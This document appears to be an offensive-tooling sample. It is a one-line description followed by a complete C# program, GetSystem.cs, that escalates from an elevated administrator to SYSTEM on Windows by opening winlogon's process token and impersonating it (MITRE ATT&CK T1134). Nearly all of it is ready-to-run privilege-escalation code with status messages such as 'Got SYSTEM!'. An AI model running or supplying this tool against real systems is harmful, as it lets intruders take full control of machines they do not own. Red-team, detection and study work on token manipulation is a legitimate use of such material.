Escalates to SYSTEM leveraging OpenProcess, OpenProcessToken and ImpersonateLoggedOnUser. https://attack.mitre.org/beta/techniques/T1134/. Needs to run as a High Integrity proc. Needs SeDebugPrivilege

GetSystem.cs

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace GetSystem
{
    class Program
    {

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Boolean bInheritHandle, UInt32 dwProcessId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);

        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken);

        internal const UInt32 PROCESS_QUERY_INFORMATION = 0x0400;
        internal const UInt32 TOKEN_DUPLICATE = 0x0002;
        internal const UInt32 TOKEN_IMPERSONATE = 0x0004;
        internal const UInt32 TOKEN_QUERY = 0x0008;
        internal const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;


        static void Main(string[] args)
        {
            Process exp = Process.GetProcessesByName("winlogon")[0];
            uint processId = (uint)exp.Id;
            IntPtr hNewToken;

            IntPtr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, processId);

            if (hProcess == IntPtr.Zero)
            {
                Console.WriteLine("Could not get handle with OpenProcess");
                Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error());
                return;
            }
            Console.WriteLine("Got a handle for PID {0} with OpenProcess", processId);
            bool ret = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, out hNewToken);

            if (!ret)
            {
                Console.WriteLine("Could not get Token with OpenProcessToken");
                Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error());
                return;
            }
            Console.WriteLine("Got a process Token for PID {0} with OpenProcessToken", processId);
            Console.WriteLine("Currently running as \"{0}\"", WindowsIdentity.GetCurrent().Name);
            Console.WriteLine("Calling ImpersonateLoggedOnUser...");
            if (!ImpersonateLoggedOnUser(hNewToken))
            {
                Console.WriteLine("Could not get impersonate user with ImpersonateLoggedOnUse ");
                Console.WriteLine("Error Code {0}", Marshal.GetLastWin32Error());
                return;
            }
            Console.WriteLine("Got SYSTEM!");
            Console.WriteLine("Currently running as \"{0}\"", WindowsIdentity.GetCurrent().Name);
        }

    }
}